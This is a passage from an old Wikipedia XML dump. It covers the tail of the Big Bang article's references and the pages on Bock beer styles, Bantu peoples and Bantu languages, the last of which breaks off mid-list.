*[[Smithsonian Institution]], &quot;[http://cfa-www.harvard.edu/seuforum/bigbanglanding.htm UNIVERSE! - The Big Bang and what came before]&quot;.
*D'Agnese, Joseph, &quot;[http://www.findarticles.com/p/articles/mi_m1511/is_7_20/ai_55030837 The last Big Bang man left standing, physicist Ralph Alpher devised Big Bang Theory of universe]&quot;. ''Discover'', July 1999.
*Felder, Gary, &quot;[http://www.ncsu.edu/felder-public/kenny/papers/cosmo.html The Expanding universe]&quot;.
*LaRocco, Chris and Blair Rothstein, [http://www.umich.edu/~gs265/bigbang.htm &quot;THE BIG BANG: It sure was BIG!!&quot;].
*Mather, John C., and John Boslough 1996, ''The very first light: the true inside story of the scientific journey back to the dawn of the universe''. ISBN 0-465-01575-1 p.300
*Shestople, Paul, &quot;[http://cosmology.berkeley.edu/Education/IUP/Big_Bang_Primer.html &quot;Big Bang Primer&quot;].
*Singh, Simon, ''Big Bang: the origin of the universe'', Fourth Estate (2005). A historical review of the Big Bang. Sample text and reviews can be found at [http://www.321books.co.uk/reviews/big-bang-simon-singh.htm].
*Wright, Edward L., [http://www.astro.ucla.edu/~wright/BBhistory.html &quot;Brief History of the universe&quot;].
*Feuerbacher, Björn and Ryan Scranton (2006). &quot;[http://www.talkorigins.org/faqs/astronomy/bigbang.html Evidence for the Big Bang]&quot;, FAQ at [http://www.talkorigins.org/ talkorigins.org].
For an annotated list of textbooks and monographs, see [[physical cosmology#Textbooks|physical cosmology]].

===Some primary sources===
*G. Lemaître, &quot;''Un Univers homogène de masse constante et de rayon croissant rendant compte de la vitesse radiale des nébuleuses extragalactiques''&quot; (A homogeneous universe of constant mass and growing radius accounting for the radial velocity of extragalactic nebulae), ''Annals of the Scientific Society of Brussels'' '''47A''' (1927):41&amp;mdash;[[General relativity]] implies the universe has to be expanding. Einstein brushed him off in the same year. Lemaître's note was translated in ''Monthly Notices of the Royal Astronomical Society'' '''91''' (1931): 483&amp;ndash;490.
*G. Lemaître, ''Nature'' '''128''' (1931) suppl.: 704, with a reference to the primeval atom.
*R. A. Alpher, H. A. Bethe, G. Gamow, &quot;The Origin of Chemical Elements,&quot;''Physical Review'' '''73''' (1948), 803. The so-called &amp;alpha;&amp;beta;&amp;gamma; paper, in which Alpher and Gamow suggested that the light elements were created by protons capturing neutrons in the hot, dense early universe. Bethe's name was added for symmetry.
*G. Gamow, &quot;The Origin of Elements and the Separation of Galaxies,&quot; ''Physical Review'' '''74''' (1948), 505. These two 1948 papers of Gamow laid the foundation for our present understanding of big-bang nucleosynthesis.
*G. Gamow, ''Nature'' '''162''' (1948), 680. 
*R. A. Alpher, &quot;A Neutron-Capture Theory of the Formation and Relative Abundance of the Elements,&quot; ''Physical Review'' '''74''' (1948), 1737. 
*R. A. Alpher and R. Herman, &quot;On the Relative Abundance of the Elements,&quot; ''Physical Review'' '''74''' (1948), 1577. This paper contains the first estimate of the present temperature of the universe.
*R. A. Alpher, R. Herman, and G. Gamow ''Nature'' '''162''' (1948), 774. 
*A. A. Penzias and R. W. Wilson, &quot;A Measurement of Excess Antenna Temperature at 4080 Mc/s,&quot; ''Astrophysical Journal'' '''142''' (1965), 419. The paper describing the discovery of the cosmic microwave background.
*R. H. Dicke, P. J. E. Peebles, P. G. Roll and D. T. Wilkinson, &quot;Cosmic Black-Body Radiation,&quot; ''Astrophysical Journal'' '''142''' (1965), 414. The theoretical interpretation of Penzias and Wilson's discovery.
*A. D. Sakharov, &quot;Violation of CP invariance, C asymmetry and baryon asymmetry of the universe,&quot; ''Pisma Zh. Eksp. Teor. Fiz.''  '''5''', 32 (1967), translated in ''JETP Lett.''  '''5''', 24 (1967).
*R. A. Alpher and R. Herman, &quot;Reflections on early work on 'big bang' cosmology&quot; ''Physics Today'' '''Aug 1988''' 24&amp;ndash;34. A review article.

===Religion and philosophy===
* Leeming, David Adams, and Margaret Adams Leeming, ''A Dictionary of Creation Myths''. Oxford University Press (1995), ISBN 0195102754.
* Pius XII (1952), &quot;Modern Science and the Existence of God,&quot; ''The Catholic Mind'' 49:182&amp;ndash;192.

=== Research articles ===
Most scientific papers about cosmology are initially released as preprints on [http://arxiv.org arxiv.org].  They are generally technical, but sometimes have introductions in plain English. The most relevant archives, which cover experiment and theory, are the  [http://arxiv.org/archive/astro-ph astrophysics] archive, where papers closely grounded in observations are released, and the [http://arxiv.org/archive/gr-qc general relativity and quantum cosmology] archive, which covers more speculative ground. Papers of interest to cosmologists also frequently appear on the [http://arxiv.org/archive/hep-ph high energy phenomenology] and [http://arxiv.org/archive/hep-th high energy theory] archives.

[[Category:Astrophysics]]
[[Category:Cosmology]]
[[Category:Origin beliefs]]

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  <page>
    <title>Bock</title>
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      <text xml:space="preserve">[[Image:Beer-Paulaner-Salvator-Doppelbock.jpg|right|thumb|200px|A Paulaner Salvator]]'''Bock''' is a style of [[German beer]]. 
[[Bottom-fermenting yeast|Bottom fermented]], it is named for the famous [[Middle Ages|medieval]] [[Germany| German]] brewing town of [[Einbeck]]. 
The beer is a heavy bodied [[lager]] and is darkened by high-coloured [[malt]]s. Bock is traditionally brewed in the winter time for drinking during the Spring. 

Bocks have a long history of being brewed and drunk by [[Catholic]] monks in Germany.  During the Spring religious season of [[lent]], monks were required to fast.  Bock beers are higher in [[food energy]] and nutrients than other beers, thus providing sustenance during the holiday. 

Variants include ''Maibock'' (brewed for the month of May), ''Eisbock'' (ice bock), ''Weizenbock'' (wheat bock), and ''Doppelbock'' (double bock). 
The names of ''Doppelbock'' brews commonly end in ''-ator'' in honor of the original, Paulaner ''Salvator'' (Latin, &quot;Savior&quot;), pictured right.

Many bock beer producers have displayed goats on bottle labels since ''Bock'' in German means billy goat. In the local dialect, [[Einbeck]] is pronounced similar to &quot;Einbock&quot;, which sounds like ''ein Bock'' (a goat). 

===Bocks===
*Einbecker Ur-Bock (Einbecker original bock)
*[[Hacker-Pschorr]] Dunkeler Bock 
*[[Shiner Bock]]

===Maibocks===
The lightest colored of the bock beers, these two are generally grouped together. These pale bocks are brewed in winter and first tapped in spring, often to coincide with seasonal celebrations. They range in color from deep gold to light amber. Naturally, light malts are used almost exclusively to produce them; thus they are fairly new to the bock scene. Pale malts were unheard of until early in the 19th century, when malting technology was refined, but they soon found their way into strong lagers in central Europe.

Decoction mashing is usually employed in the production of a pale bock, but the caveat to this is that the overall color of the brew darkens substantially during this procedure. A tricky undertaking, indeed. Because no dark malts are used, the soft, clean malt flavor and aroma come through totally unobstructed. Helles/maibocks are often given a slightly higher dose of hops than other bocks, giving them a fresher, livelier aroma and more balance.

Because of their relatively broad color range, pale bocks present a nice diversity. They could actually be segregated into two subcategories, with helles bocks being the golden hued and maibocks being those that appear more amber. The helles version would contain almost exclusively pilsner malt, while the maibock would contain a significant dose of toasty Vienna or Munich malts. Then again, there is that middle ground that would make them neither (or both).

Many German breweries, especially in [[Bavaria]], may include a pale bock in their lineup. Einbecker itself brews both a helles and a maibock. Spaten makes a golden helles known as Premium Bock that is very much worth trying. Compare it to an Ayinger maibock, which is a little deeper in color and spicier on the palate. For something really unusual in the style, Schlenklera of Bamberg, Germany, makes a rauch maibock that uses the brewery's famous smoked malt quite liberally. The label is almost identical to its regular Rauch Märzen, so read carefully.

Not surprisingly, many North American [[microbrewery|microbreweries]] that specialize in German-style brews also make pale bocks. The Gordon Biersch brewery includes a blonde bock that is mellow, malty and crisp. Pittsburgh's Church Brew Works annually wins awards in the maibock style and employs decoction mashing. Breweries in Pennsylvania, Wisconsin, Colorado, and North Carolina are just that produce these seasonal brews. 

*Haake-Beck Maibock
*Spaten Premium Bock
*Ayinger Maibock
*Summit Maibock (USA)
*Capital Maibock (USA)

===Weizenbocks===
Not technically a bock, a weizenbock is simply a stronger dunkel weizen (dark wheat ale) - brewed &quot;to bock strength.&quot;  It includes a substantial portion of wheat malt in the grain bill, and uses a top-fermenting wheat ale yeast which lends fruity ester flavors as well as clove and phenolic/medicinal notes to the beer.

*Capital Weizen Doppelbock (USA)
*Erdinger Pikantus Weizen Bock
*Schneider Aventinus

===Doppelbocks===
The Paulaner brewery of Munich can lay claim to the creation of doppelbock as a style. A group of Italian monks from the order of St. Francis of Paula crossed the Alps and settled near the city of Munich. Devout Catholics, they followed their traditions, which meant fasting occasionally. Solid food was forbidden but liquid was not. As the monks were expert brewers, making a brew that sustained them during these periods of dubious abstinence was a logical choice. Strong and nutritious, it fit the bill perfectly, providing both physical and mental sustenance.

Strong beer, brewed with local Germanic influence, resulted in what is now doppelbock. The monks established the Paulaner brewery in 1634 (coincidently, not long after Herr Pilcher from Einbeck visited Munich). Their beer became available to the public in 1780. The beer was named Salvator (The Savior) for obvious reasons, and it carries that moniker to this day. As the beer became popular, other breweries in Bavaria brewed it with great success and adopted the &quot;-ator&quot; suffix for their own versions.

Doppelbock literally means &quot;double bock&quot; but it isn't really twice the strength of traditional bock, only marginally stronger. Doppelbocks are generally dark in color, from dark amber to dark brown, though some pale versions exist. A beer can be considered a doppelbock if its original gravity is no lower than 1.074, which ensures a beer of substantial strength and character.

Doppelbocks are quite complex. As there is virtually no hop flavor and aroma, and just enough hop bitterness to be detectable, virtually all of this style's character can be attributed to its Munich-style malt and brewing practices. Munich malts are darkened from some extra kilning and they are also rendered less fermentable, resulting in a full-bodied, dextrinous wort. The character of these flavorful malts is augmented by using time-consuming, complicated decoction mashing techniques.

Decoction mashing was the method employed before thermometers were available. It consists of raising the mash temperature through its critical stages by boiling a little of the mash at a time and re-mixing it with the main portion. Repeated several times, this ensures that the all of the enzymes are able to do their job. The extra boiling, both during decoction and in the kettle, results in caramelization and a myriad of other complicated chemical reactions that benefit the wort and ultimately the flavor of the finished beer. All of this adds up to a complex, rich brew with unparalleled malt character.

Fermentation is done slowly, as with bottom-fermenting beers, and the lagering period is lengthy, often several months in duration.

Doppelbocks are not hard to find if you have a good package store and unrestricted beer laws. The majority of bocks available are, in fact, doppels. All of the major Bavarian breweries produce a doppelbock. All are good, some are excellent. Depending on local distribution, look for Spaten, Ayinger, Paulaner, Tucher and other brands with -ator in their name. Like other bocks, these are diverse, some relying solely on lighter malts, others on an influential dose of dark malts. The darker ones have distinct caramel and chocolate notes and sometimes a faint roastiness, whereas the amber versions have a slick, clean malt palate and a little less complexity.

Some breweries really push the envelope when it comes to strength. Most doppelbocks fall in the 7 to 8.5 % ABV range but some are significantly higher. Coming in at 9.6 % ABV is Urbock 23 from the Eggenberg brewery of [[Austria]], established in 1681. The designation &quot;23&quot; refers to its original gravity in degrees Plato, roughly a 1.092 specific gravity. It is very pale, pure tasting and honeyish.

Stronger still is a product from the [[Hürlimann Brewery]] in [[Zürich]] known as [[Samichlaus]]. Insanely strong at about 15 % ABV, and with a starting gravity of about 1.120, it is brewed but once a year, on St. Nicholas Day, December 6. After fermentation, it is lagered until the following St. Nick's day, when it is released just in time for winter. Reddish brown in color, and rich beyond description, it retains a smooth lager character despite its potency. This beer will keep for quite some time, so if you are lucky enough to find some, cellar it. 

*Auer Peccator
*Andechser Doppelbock
*Ayinger Celebrator
*Capital Blonde Doppelbock
*Capital Dark Doppelbock
*Hacker-Pschorr Animator
*Löwenbräu Triumphator
*Paulaner Salvator (original)
*Sam Adams Double Bock
*Spaten Optimator
*Tucher Bajuvator
*Weltenburger Kloster Asam Bock

===Eisbocks===
In yet another twist in strong lager production, some breweries produce eisbock. Simply put, this is a strong beer that is made into a stronger beer by freezing. As only the water portion will freeze, the beer is concentrated by the removal of the resultant ice. Generally, the beer is concentrated by only 10 % or less.

One brewery that employs this strategy is Kulmbacher of Kulmbach, Germany. The beer is known as Reichelbräu, about 10 % ABV with the signature dark doppelbock color and malty character.

Another brewery from Kulmbach, EKU, produces a strong bock called EKU 28 that uses a minimal concentrating step of freezing. The &quot;28&quot; is a designation of its degrees Plato, which gives the beer a strength of about 12 % ABV. It is amber in color and aromatic. EKU also makes an excellent doppelbock called Kulminator. 

*Niagara Eisbock

===[[Austria]]===
In Austria Bockbeer is traditionelly brewed only around Christmas and Easter, almost every Brewery brews its own Bock then.

==See also==
*[[German beer]]

[[Category:Beer styles]]
[[Category:German beer]]

[[de:Bockbier]]
[[fr:Bock]]
[[nl:Bokbier]]
[[th:บ๊อคเบียร์]]</text>
    </revision>
  </page>
  <page>
    <title>Bitter beer</title>
    <id>4120</id>
    <revision>
      <id>15902418</id>
      <timestamp>2004-07-17T13:26:03Z</timestamp>
      <contributor>
        <username>Harry R</username>
        <id>63691</id>
      </contributor>
      <comment>changing to a redirect to 'bitter (beer)'</comment>
      <text xml:space="preserve">#REDIRECT [[Bitter (beer)]]</text>
    </revision>
  </page>
  <page>
    <title>Bantu</title>
    <id>4121</id>
    <revision>
      <id>42098609</id>
      <timestamp>2006-03-03T20:44:21Z</timestamp>
      <contributor>
        <username>Nectarflowed</username>
        <id>100446</id>
      </contributor>
      <comment>Not in the header: Bantu-associated peoples don't live just in South Africa.</comment>
      <text xml:space="preserve">[[Image:Niger-Congo.png|right|300px|thumb|Map showing the approximate distribution of Bantu (dull yellow) vs. other [[Niger-Congo languages|Niger-Congo]] languages and peoples (bright yellow).]]

'''Bantu''' is a general term for over 400 different [[ethnic group]]s in [[Africa]], from [[Cameroon]] to [[South Africa]], united by a common language family, the [[Bantu languages]], and in many cases common [[Convention (philosophy and social sciences)|custom]]s.

==History==
Dr. [[Wilhelm Bleek]] was the first person to define the term &quot;Bantu&quot; in his [[1862]] book ''A Comparative Grammar of South African Languages''. He proposed the [[hypothesis]] that a vast number of languages spread across central, southern, eastern, and even western Africa shared so many characteristics that they must be part of a single language group. This basic thesis is still accepted today, although there have been many modifications to the details of the theory since 1862.

The Bantu languages are very closely related considering the vast territory they cover, leading historians to believe the Bantu came to dominate sub-equatorial Africa relatively recently and quickly.  This is borne out by early [[North Africa]]n and [[Middle Eastern]] sources that do not report Bantus north of [[Mozambique]] before the year 1000.

Before the Bantu, the southern half of '''Africa''' is believed to have been populated by [[Khoisan languages|Khoisan]] speaking people, today relegated largely to the arid regions around the [[Kalahari]] and a few isolated pockets in [[Tanzania]]. The 'Pygmy' people are the indigenous inhabitants of central Africa .  Other language groups such as  [[Cushitic]], and [[Afro-Asiatic]], were also supplanted in other areas.

There are two basic theories of Bantu origins.  The first was advanced by [[Joseph Greenberg]]  in [[1963]].  He had analyzed and compared several hundred African languages and found that a group of languages spoken in Southeastern [[Nigeria]] were the most closely related to Bantu.  He theorized that Bantu was one of these languages that spread south and east over hundreds of years.

This was quickly challenged by [[Malcolm Guthrie]] who analyzed each Bantu language and found that the most stereotypical were those spoken in [[Zambia]] and in the southern [[Democratic Republic of Congo]] (DRC). This provided the alternate theory that Bantu speakers had spread from this location in all directions.

[[Image:Bantu_expansion.png|thumb|200px|right|One common hypothesis of the [[Bantu expansion]]]]

Today the accepted truth is a synthesis of these theories.  The Bantu first originated around the [[Benue River|Benue]]-[[Cross River|Cross]] rivers area in southeastern Nigeria and spread over Africa to the Zambia area.  Sometime in the [[2nd millennium BC|second millennium BC]], perhaps triggered by the drying of the [[Sahara]] and pressure from the migration of Saharans into the region, they were forced to expand into the [[rainforest]]s of central Africa (phase I).  About 1000 years later they began a more rapid second phase of expansion beyond the forests into southern and eastern Africa. Then sometime in the first millennium new agricultural techniques and plants were developed in Zambia, likely imported from [[South East Asia]] via [[Malay language|Malay]] speaking [[Madagascar]].  With these techniques another Bantu expansion occurred centered on this new location (phase III).

By about 1,000 AD it had reached modern day [[Zimbabwe]] and [[South Africa]]. In Zimbabwe the first major southern hemisphere empire was established, with its capital at [[Great Zimbabwe]]. It controlled trading routes from South Africa to north of the [[Zambezi]], trading gold, copper, precious stones, animal hides, ivory and metal goods with the Arab traders of the [[Swahili]] coast. By the 14th or 15th centuries the Empire had surpassed its resources and had collapsed, with the city of Great Zimbabwe being abandoned.

==Bantu in South Africa==
===Usage===

Black [[South Africa]]ns were at times officially called &quot;Bantus&quot; by the [[apartheid]] [[regime]]. Nowadays in [[Southern Africa]], the term &quot;Bantu&quot; is no longer used to refer to a people. The more common and polite term is &quot;Black&quot; and in fact legislation and documents from the South African government replaced &quot;Bantu&quot; with &quot;Black&quot;. In Southern African contexts, the term Bantu in reference to people is considered offensive due to its tie with apartheid, and its linguistic connotation prevails. Outside Southern Africa however it is still widely used as a term for the Bantu-speaking peoples.
=== History ===
When [[Jan van Riebeeck]] went around the coast of South Africa in [[1652]], very few Bantu speakers were found there, and the predominant indigenous population around the [[Cape of Good Hope]] was made up of [[Khoisan]] people.  European settlers following Van Riebeeck, mostly from Holland, French [[Huguenot]]s and [[Germany|German]] settlers, known in the past as [[Boer]]s (but the most commonly accepted term today is [[Afrikaner|Afrikaners]]), moved in over a period of 100 years, from the middle of the 1700s. Only around [[1770]] did the Boers discover the Bantu, although in 1700s they were the main inhabitants of [[Southern Africa]]. During the 1800s many battles were fought between these ethnic peoples and the white settlers, now including the British.

By the time [[Great Zimbabwe]] had ceased being the capital of a large trading empire Bantu peoples had completed their colonization of southern Africa, with only the western and northern areas of the Cape not dominated by them. Two main groups developed, the [[Nguni]] ([[Xhosa]], [[Zulu]], [[Swazi]]), who occupied the eastern coastal plains, and the [[Sotho-Tswana]] who lived on the interior plateau. 

In the late 18th and early 19th century two major events occurred. The Xhosa, the most southerly tribe, who had been gradually migrating south west made the first tentative contact with the Dutch Trek, gradually trekking northeast from the Cape colony. 

At the same time major events were taking place further north in modern day [[KwaZulu]]. At that time the area was populated by dozens of small clans, one of which was the Zulu, then a particularly small clan of no local distinction whatsoever. 

In 1816 [[Shaka]] acceded to the Zulu throne. Within a year he had conquered the neighboring clans, and had made the Zulu into the most important ally of the large [[Mthethwa]] clan, which was in competition with the [[Ndwandwe]] clan for domination of the northern part of modern day [[KwaZulu-Natal]].

He also initiated many military, social, cultural and political reforms, creating a well organized centralized Zulu state. The most important of these were the transformation of the army, thanks to innovative tactics and weapons he conceived, and a showdown with the spiritual leadership, clipping the wings, claws and fangs of the witchdoctors, effectively ensuring the subservience of the &quot;Zulu church&quot; to the state. 

Another important reform was to integrate defeated clans into the Zulu, on a basis of full equality, with promotions in the army and civil service being a matter of merit rather than circumstance of birth.
       
After the death of Mthethwa king [[Dingiswayo]] around 1818, at the hands of [[Zwide]] king of the Ndwandwe, Shaka assumed leadership of the entire Mtetwa alliance. The alliance under his leadership survived Zwide's first assault at the [[Battle of Gqokli Hill]]. Within two years he had defeated Zwide at the [[Battle of Mhlatuze River]] and broken up the Ndwandwe alliance, some of whom in turn began a murderous campaign against other Nguni tribes and clans, setting in motion what has come to be known as Defecane or [[Mfecane]], a mass migration of tribes fleeing the Zulu. By 1825 he had conquered a huge empire covering a vast area from the sea in the east to the Drakensberg mountains in the west, and from the [[Pongola River]] in the north to the Bashee river in the south, not far from the modern day city of East London.

An offshoot of the Zulu, the Khumalos, better known to history as the [[Matabele]] created under their king, [[Mzilikazi]] an even larger empire, including large parts of the highveld and modern day [[Zimbabwe]]. 

Shaka, who had had contacts with English explorers realized that the white man posed a threat to local populations, and had planned to begin an intensive program of education to enable the Nguni people to catch up with the Europeans. However in 1828 he was assassinated by his half brother [[Dingane]], who succeeded him. A weak leader, Dingane was defeated by the Boers, however under his successors [[Mpande]] (another half-brother) and Mpande's son [[Cetshwayo]] the Zulu were able to rebuff Boer attempts to conquer them. He handed the British army the worst defeat it ever suffered at the hands of a non-European fighting force at the [[Battle of Isandlwana]], at great cost to his [[impi]]s, before succumbing to modern European military technology.

Black [[South Africa]]ns were at times officially called &quot;Bantus&quot; by the [[apartheid]] [[regime]]. Nowadays in [[Southern Africa]], the term &quot;Bantu&quot; is no longer used to refer to a people. The more common and polite term is &quot;Black&quot; and in fact legislation and documents from the South African government replaced &quot;Bantu&quot; with &quot;Black&quot;. In Southern African contexts, the term Bantu in reference to people is considered offensive due to its tie with apartheid, and its linguistic connotation prevails. Outside Southern Africa however it is still widely used as a term for the Bantu-speaking peoples.

===Social organization===
The Bantu were divided into different [[clan]]s, not around [[national]] [[federation]]s, but independent groups from some hundreds to thousands of individuals.

The smallest unit of the Bantu organisational structure was the [[household]], or [[Kraal]], consisting of a man, woman or women, and their children, as well as other relatives living in the same household. The man was the head of the household and often had many wives; he had complete authority over the family. The household and close relations generally played an important role. Households which lived in the same valley or on the same hill were also an organisational unit, managed by a sub-chief.

The chief was [[hereditary]]. With most clans the eldest son inherited the office of his father. With some clans the office was left to the oldest brother of the deceased chief, and after his death again the next oldest brother. This repeated until the last brother died. Next was the eldest son of the original chieftain; then the oldest one of the brothers as the leader. The chief was surrounded with a number of trusted friends or advisors, usually relatives like uncles and brothers, rather than influential Headmen or personal friends. The degree of the [[democracy]] depended on the strength of the [[chieftain]]. The more powerful and more influential a chieftain was, the lesser the influence of his people. Although the leader had much power, he was not above the [[law]]. He could be criticized both by advisors as well as by his people, and compensation could be demanded.

===Ethnic partitioning===
The Bantu peoples of South Africa are ''roughly'' &quot;divided&quot; into four main groups: [[Nguni]], [[Sotho]], [[Venda|Vhavenda]] and [[Shangana Tsonga]], with the Nguni representing the largest group. These are divided as follows:

* [[Nguni]]
** Northern Nguni
*** [[Swazi|maSwati]]
*** [[Zulu|amaZulu]]
*** [[Ngoni people|Ngoni]] (in Northern Zimbabwe)
** Southern Nguni
*** Mfengu
*** Mpondo
*** Mpondomise
*** Thembu
*** [[Xhosa|amaXhosa]] 
* Shangana Tsonga
* [[Sotho]]
** [[Basotho]] (also: Southern Sotho)
** [[Barotse]]
** Northern Sotho
*** [[Balobedu]]
*** Bapedi 
** Batswana (also: Western Sotho) 
* [[Venda|Vhavenda]] 
* [[Lemba|Vhalemba]]


Common among the two powerful groups of the Nguni and the Sotho are patrilinear societies, with which the leaders formed the socio-political units. Similarly, food acquisition was by cultivation and hunting. The most important differences were the strongly deviating languages, although both are dialects of [[Bantu language]], and the different settlement types and relationships. With the Nguni settlements were villages widely scattered, whereas with the Sotho settled in towns.

===Culture===
The Bantu were not territorially minded like the Europeans, but rather group-related. As long as sufficient land was available, they had only very vague conceptions of [[border]]s. Borders were natural features such as rivers or mountains, which were not by any means fixed.

===Food acquisition===
The [[food]] acquisition of the Bantu was primarily limited to agriculture and [[hunting]], where generally the women were responsible for agriculture and the men drew for the hunt. Except with the [[Shangaan|Tsonga]] (and partially the [[Mpondo]]), fishing was surprisingly of little importance. The diet consisted of corn, meat (mostly [[beef]]), vegetables; and [[milk]], [[water]] and grain beer (which contained very little [[ethanol|alcohol]] compared with European beer). 

The Bantu had a number of [[taboo]]s regarding the consumption of meat. No meat of [[dog]]s, [[ape]]s, [[crocodile]]s and [[snake]]s could be eaten. Likewise taboo was the meat of some [[bird]]s, like [[owl]]s, [[crow]]s and [[vulture]]s.

All Bantu groups commonly had clear separation between the tasks of the women and those of the men.

===House types===
The Bantu lived in two different types of house. The [[Nguni]] used the [[Beehive house]], a circular structure out of long poles, which was covered with grass. The huts of the [[Sotho]], [[Venda]] and [[Shangana Tsonga]] used the Cone and Cylinder house. A cylindrical wall was formed out of vertical posts, which was sealed with mud and cow dung. The roof was built from tied-together poles. The floor of both types is compressed earth.

===Faith===
[[Magic and religion|Magic]] takes a major central role in Bantu belief, with good and bad influence. They often saw a manifestation of the souls of deceased ancestors in ceremonies. The Bantu believed the separation from body and spirit after death.



==Literature==
* Schapera I (OD.): The Bantu Speaking Tribes OF South Africa. 1959: Routlege &amp; Kegan Paul, London.


[[Category:Bantu|*]]
[[Category:Ethnic groups in Africa]]

[[bg:Банту]]
[[ca:Bantu]]
[[de:Bantu]]
[[es:Bantú]]
[[fa:بانتو]]
[[fi:Bantut]]
[[fr:Bantous]]
[[nl:Bantoe]]
[[nn:Bantu]]
[[pl:Bantu]]
[[pt:Bantu]]
[[sr:Банту]]
[[sv:Bantu]]</text>
    </revision>
  </page>
  <page>
    <title>B roll</title>
    <id>4122</id>
    <revision>
      <id>15902420</id>
      <timestamp>2005-05-21T18:18:23Z</timestamp>
      <contributor>
        <username>Kelly Martin</username>
        <id>158241</id>
      </contributor>
      <comment>changed to redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Footage]]</text>
    </revision>
  </page>
  <page>
    <title>Bantu languages</title>
    <id>4124</id>
    <revision>
      <id>41346150</id>
      <timestamp>2006-02-26T19:18:19Z</timestamp>
      <contributor>
        <username>Moyogo</username>
        <id>44443</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Niger-Congo.png|right|350px|thumb|Map showing the approximate distribution of Bantu (dull yellow) vs. other [[Niger-Congo languages]] (bright yellow).]]

'''Bantu''' is a [[language family]] that belongs to the [[Niger-Congo languages|Niger-Congo]] group. Bantu [[language]]s are spoken in South [[Cameroon]], and in the  south-eastern region of [[Nigeria]] close the Cameroonian Border, in [[Gabon]], [[Equatorial Guinea]], [[Republic of the Congo]], [[Democratic Republic of the Congo]], [[Rwanda]], [[Burundi]], [[Uganda]], [[Kenya]] and the southern tip of [[Somalia]], [[Tanzania]], [[Angola]], [[Zambia]], [[Malawi]], [[Mozambique]], [[Zimbabwe]], [[Namibia]], [[Botswana]], and [[South Africa]]. This wide expansion makes the Bantu family the most widespread language family in [[Africa]], with about 310 million speakers. 

The word Bantu was first used by [[Wilhelm Heinrich Immanuel Bleek]] ([[1827]]-[[1875]]) with the meaning ''people'' as this is reflected in many of the languages of this group. A characteristic of Bantu languages is that they use ''-ntu'' to refer to a man. ''ba'' is a plural in some dialects, becoming ''ba-ntu''. He and later [[Carl Meinhof]] did comparative studies of the Bantu language grammars.

The language family has hundreds of members. They have been classified by [[Malcolm Guthrie]] in [[1971]] into groups according to geographical zones - A, B, C, D, E, F, G, H, K, L, M, N, P, R and S and then numbered within the group. Guthrie also reconstructed ''Proto-Bantu'' as the [[Proto-language]] of this language family.

This classification was later extended and modified by [[SIL]] in [[1996]] and another time by researchers from the [[Royal Museum of Central Africa]] of Tervuren in [[1999]], adding zone J and reorganizing many groups.

==Language structure==
The most prominent [[grammar|grammatical]] characteristic of Bantu languages is the extensive use of [[prefix|prefixes]] (see [[Sesotho language#Noun prefix system|Sesotho language]]). Each noun belongs to a class, and each language may have about ten classes all together, somewhat like [[Gender (grammar)|gender]]s in European languages. The class is indicated by a prefix on the noun, as well as on adjectives and verbs agreeing with it. Plural is indicated by a change of prefix.

The verb has a number of prefixes. In [[Swahili language|Swahili]] for example ''Mtoto mdogo amekisoma'' means 'The small child has read it [a book]'. ''Mtoto'' 'child' governs the adjective prefix ''m-'' and the verb subject prefix ''a-''. Then comes perfect tense ''-me-'' and an object marker ''-ki-'' agreeing with implicit ''kitabu'' 'book'. Pluralizing to children makes it ''Watoto wadogo wamekisoma'', and [[plural]]izing to books (''vitabu'') makes it ''Watoto wadogo wamevisoma''.

Bantu words are typically made up of [[open syllable]]s of the type CV (consonant-vowel) with some languages having a vocabulary exclusively of this type. The construction of words is typically CV, VCV, CVCV, VCVCV etc with words always ending in a vowel. This tendency to avoid [[consonant cluster]]s is important when words are imported from [[English language|English]] or other non-African languages. An example is in [[Chichewa]] the word &quot;school&quot; becomes ''sukulu''. ''Sk-'' is broken by inserting an [[epenthesis|epenthetic]] ''-u-'', and ''-u'' is added at the end; another is ''buledi'' for &quot;bread&quot;. Similar effects are seen in [[loanwords]] for other non-African CV languages like [[Japanese language|Japanese]].

The Bantu language with the largest number of speakers is Swahili (G 40), while those with the most native speakers are [[Shona language|Shona]] and [[Zulu language|Zulu]]. Judging from the history of Swahili, some linguists believe that Bantu languages are on a continuum from purely [[Tone (linguistics)|tonal languages]] to languages with no tone at all.

==Other Bantu languages include==
*in Central and Eastern Africa
**[[Swahili language|Swahili]]
**[[Lingala language|Lingala]]
**[[Luganda language|Luganda]]
**[[Rutooro language|Rutooro]]
**[[Runyoro language|Runyoro]]
**[[Runyankole language|Runyankole]]
**[[Rukiga language|Rukiga]]
**[[Gikuyu language|G&amp;#297;k&amp;#361;y&amp;#361;]]
**[[Bukusu]]
**[[Lusoga language|Lusoga]]
**[[Kikongo language|Kikongo]]
**[[Chichewa language|Chichewa]]
**[[Chiyao]]
**[[Haya language|Kihaya]]
**[[Kichagga language|Kichagga]]
**[[Kinyarwanda language|Kinyarwanda]]
**[[Kirundi language|Kirundi]]
**[[Tshiluba language|Tshiluba]]
*in Southern Africa
**[[Shona language|Shona]] (ChiShona)
**[[Ndebele language|Ndebele]] (Sindebele)
**[[Tswana language|Tswana]] (Setswana)
**[[Sesotho language|Sesotho]]
**[[Zulu language|Zulu]] (isiZulu)
**[[Xhosa language|Xhosa]] (isiXhosa)
**[[Sepedi language|Sepedi]]
**[[Swazi language|Swazi]] (siSwati)
*in West Africa
**[[Ngumba language|Ngumba]] (Cameroon)
**Kako (Cameroon)
**[[Basaa language|Basaa]] (Cameroon)

Some are usually known in English without the class prefix (Swahili instead of Kiswahili, etc.), and some others vary (Setswana or Tswana, Sindebele or Ndebele, etc.). The bare form typically does not occur in the language: in the country of [[Botswana]] the people are the Batswana, one person is a Motswana, and the language is [[Setswana]].

Today most linguists see the center of the [[Bantu|Bantu expansion]], that started about 2000 years before present in eastern [[Nigeria]] and [[Cameroon]].

==(Narrow) Bantu languages==
*'''[[Kinyabemba language|Bemba]]'''
*'''[[Songa language|Songa]]'''
*'''Northwest'''
**'''Zone A'''
**'''Zone B'''
**'''Zone C'''
*'''Central'''
